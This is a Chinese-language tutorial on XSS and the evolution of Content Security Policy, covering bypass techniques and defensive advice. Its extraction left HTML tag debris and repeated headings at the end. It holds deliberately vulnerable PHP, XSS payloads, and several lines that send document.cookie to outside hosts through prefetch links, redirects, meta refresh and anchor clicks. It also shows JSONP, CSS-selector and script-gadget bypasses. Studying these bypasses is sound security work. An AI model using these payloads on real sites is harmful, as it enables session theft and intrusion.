前端防御从入门到弃坑：CSP变迁与防御技术详解<\/h1>

一、XSS基础与防御起点<\/h2>

1.1 基本XSS漏洞示例<\/h3>
<?<\/span>php<\/span>
<\/span><\/span>$a =<\/span> $_GET['a'<\/span>];
<\/span><\/span>echo<\/span> $a;
<\/span><\/span><\/code><\/pre>攻击向量<\/strong>：<\/p>

<script>alert(1)<\/script><\/code><\/li>
``<\/li>
<svg\/onload=alert(1)><\/code><\/li>
<\/ul>
1.2 初级防御：htmlspecialchars函数<\/h3>
过滤5种符号：<\/p>

&<\/code> => &amp;<\/code><\/li>
"<\/code> => &quot;<\/code> (当ENT_NOQUOTES没有设置时)<\/li>
'<\/code> => &#039;<\/code> (当ENT_QUOTES设置时)<\/li>
<<\/code> => &lt;<\/code><\/li>
><\/code> => &gt;<\/code><\/li>
<\/ul>
1.3 防御不足的场景<\/h3>

<a href="{输入点}"><\/code><\/li>
<div style="{输入点}"><\/code><\/li>
``<\/li>
`` (无引号)<\/li>
<script>{输入点}<\/script><\/code><\/li>
<\/ul>
二、CSP(Content Security Policy)基础<\/h2>
2.1 CSP简介<\/h3>
内容安全策略(CSP)是浏览器层面的安全层，用于防御XSS和数据注入攻击。<\/p>
2.2 基本CSP规则示例<\/h3>
header<\/span>("Content-Security-Policy: default-src 'self'; script-src 'self' https:\/\/lorexxar.cn;"<\/span>);
<\/span><\/span><\/code><\/pre>2.3 CSP主要功能<\/h3>

限制JS的执行<\/li>
限制对不可信域的请求<\/li>
<\/ol>
三、CSP绕过技术<\/h2>
3.1 宽松策略绕过<\/h3>
错误配置<\/strong>：<\/p>
header<\/span>("Content-Security-Policy: default-src 'self'; script-src *"<\/span>);
<\/span><\/span><\/code><\/pre>攻击<\/strong>：<\/p>
<script<\/span> src<\/span>=<\/span>"http:\/\/lorexxar.cn\/evil.js"<\/span>><\/script<\/span>>
<\/span><\/span><\/code><\/pre>3.2 自域绕过<\/h3>
配置<\/strong>：<\/p>
header<\/span>("Content-Security-Policy: default-src 'self'; script-src 'self'"<\/span>);
<\/span><\/span><\/code><\/pre>攻击步骤<\/strong>：<\/p>

上传恶意JS文件（如test.jpg）<\/li>
内容：alert(1);\/\/<\/code><\/li>
直接加载：<\/li>
<\/ol>
<script<\/span> src<\/span>=<\/span>'upload\/test.jpg'<\/span>><\/script<\/span>>
<\/span><\/span><\/code><\/pre>3.3 目录限制绕过<\/h3>
配置<\/strong>：<\/p>
header<\/span>("Content-Security-Policy: default-src 'self'; script-src http:\/\/127.0.0.1\/static\/"<\/span>);
<\/span><\/span><\/code><\/pre>利用方法<\/strong>：<\/p>

静态目录下存在302跳转文件：<\/li>
<\/ol>
<?<\/span>php<\/span> Header<\/span>("location: "<\/span>.<\/span>$_GET['url'<\/span>])?><\/span>
<\/span><\/span><\/span><\/code><\/pre>
上传test.jpg<\/li>
通过302跳转加载：<\/li>
<\/ol>
<script<\/span> src<\/span>=<\/span>"static\/302.php?url=upload\/test.jpg"<\/span>>
<\/span><\/span><\/code><\/pre>3.4 跨域请求绕过<\/h3>
允许内联脚本的配置<\/strong>：<\/p>
header<\/span>("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'"<\/span>);
<\/span><\/span><\/code><\/pre>绕过技术<\/strong>：<\/p>

JS生成link prefetch<\/strong>：<\/li>
<\/ol>
var<\/span> n0t<\/span> =<\/span> document.createElement<\/span>("link"<\/span>);
<\/span><\/span>n0t<\/span>.setAttribute<\/span>("rel"<\/span>, "prefetch"<\/span>);
<\/span><\/span>n0t<\/span>.setAttribute<\/span>("href"<\/span>, "\/\/ssssss.com\/?"<\/span> +<\/span> document.cookie<\/span>);
<\/span><\/span>document.head<\/span>.appendChild<\/span>(n0t<\/span>);
<\/span><\/span><\/code><\/pre>
页面跳转<\/strong>：<\/li>
<\/ol>
location<\/span>.href<\/span>=<\/span>"http:\/\/lorexxar.cn?a="<\/span>+<\/span>document.cookie<\/span>
<\/span><\/span><\/code><\/pre>或<\/p>
<meta<\/span> http-equiv<\/span>=<\/span>"refresh"<\/span> content<\/span>=<\/span>"5;http:\/\/lorexxar.cn?c=[cookie]"<\/span>>
<\/span><\/span><\/code><\/pre>
跨域请求<\/strong>：<\/li>
<\/ol>
var<\/span> a<\/span>=<\/span>document.createElement<\/span>("a"<\/span>);
<\/span><\/span>a<\/span>.href<\/span>=<\/span>'http:\/\/xss.com\/?cookie='<\/span>+<\/span>escape<\/span>(document.cookie<\/span>);
<\/span><\/span>a<\/span>.click<\/span>();
<\/span><\/span><\/code><\/pre>3.5 JSONP绕过<\/h3>
<script<\/span> src<\/span>=<\/span>"\/path\/jsonp?callback=alert(document.domain)\/\/"<\/span>><\/script<\/span>>
<\/span><\/span><\/code><\/pre>响应：<\/p>
alert<\/span>(document.domain<\/span>);\/\/{"var": "data"}
<\/span><\/span><\/span><\/code><\/pre>四、CSP升级方案<\/h2>
4.1 Nonce Script CSP<\/h3>
配置<\/strong>：<\/p>
header<\/span>("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}'"<\/span>);
<\/span><\/span><\/code><\/pre>实现<\/strong>：<\/p>
<?<\/span>php<\/span>
<\/span><\/span>$random =<\/span> rand<\/span>();
<\/span><\/span>Header<\/span>("Content-Security-Policy: script-src 'nonce-"<\/span>.<\/span>$random.<\/span>"'"<\/span>);
<\/span><\/span>?><\/span>
<\/span><\/span><\/span><script nonce="<?php echo $random?>">alert(1)<\/script>
<\/span><\/span><\/span><\/code><\/pre>4.2 Strict-dynamic<\/h3>
配置<\/strong>：<\/p>
header<\/span>("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic'"<\/span>);
<\/span><\/span><\/code><\/pre>五、新型绕过技术<\/h2>
5.1 Nonce CSP绕过<\/h3>
利用静态DOM XSS<\/strong>：<\/p>

通过location.hash<\/code>触发的XSS不会刷新nonce值<\/li>
通过CSS选择器读取内容：<\/li>
<\/ul>
*[<\/span>attribute<\/span>^=<\/span>"a"<\/span>]<\/span>{background<\/span>:url("record?match=a"<\/span>)}
<\/span><\/span>*[<\/span>attribute<\/span>^=<\/span>"b"<\/span>]<\/span>{background<\/span>:url("record?match=b"<\/span>)}
<\/span><\/span>*[<\/span>attribute<\/span>^=<\/span>"c"<\/span>]<\/span>{background<\/span>:url("record?match=c"<\/span>)}
<\/span><\/span><\/code><\/pre>5.2 Strict-dynamic绕过<\/h3>
Script Gadgets攻击<\/strong>：

现代框架中的短标签特性：<\/p>
<!-- Knockout.js示例 --><\/span>
<\/span><\/span><div<\/span> data-bind<\/span>=<\/span>"value: 'foo'"<\/span>><\/div<\/span>>  <!-- 执行Eval("foo") --><\/span>
<\/span><\/span><div<\/span> data-bind<\/span>=<\/span>"value: alert(1)"<\/span>><\/div<\/span>>  <!-- 绕过 --><\/span>
<\/span><\/span><\/code><\/pre>六、防御建议<\/h2>


黑名单过滤<\/strong>：配合CSP使用<\/p>

过滤危险符号：%*+,'"<>()&\/\#<\/code><\/li>
过滤危险关键词：on\w+=<\/code>, script<\/code>, svg<\/code>, iframe<\/code>, link<\/code><\/li>
<\/ul>
<\/li>

CSP最佳实践<\/strong>：<\/p>

避免使用unsafe-inline<\/code><\/li>
谨慎使用通配符*<\/code><\/li>
对JSONP接口严格限制<\/li>
考虑使用Nonce或Strict-dynamic<\/li>
<\/ul>
<\/li>

其他防御措施<\/strong>：<\/p>

输入输出过滤<\/li>
使用现代框架的安全特性<\/li>
定期安全审计<\/li>
<\/ul>
<\/li>
<\/ol>
七、总结<\/h2>
CSP作为浏览器层面的防御机制，虽然能有效减轻XSS攻击，但随着Web技术的发展，各种绕过技术不断出现。防御XSS需要多层次的安全措施，不能单纯依赖CSP。黑名单过滤配合严格配置的CSP仍然是当前最可靠的防御方式。<\/p>
前端防御从入门到弃坑：CSP变迁与防御技术详解<\/h1>

一、XSS基础与防御起点<\/h2>

二、CSP(Content Security Policy)基础<\/h2>

2.1 CSP简介<\/h3> 内容安全策略(CSP)是浏览器层面的安全层，用于防御XSS和数据注入攻击。<\/p>

三、CSP绕过技术<\/h2>

四、CSP升级方案<\/h2>

五、新型绕过技术<\/h2>

2.1 CSP简介<\/h3>
内容安全策略(CSP)是浏览器层面的安全层，用于防御XSS和数据注入攻击。<\/p>
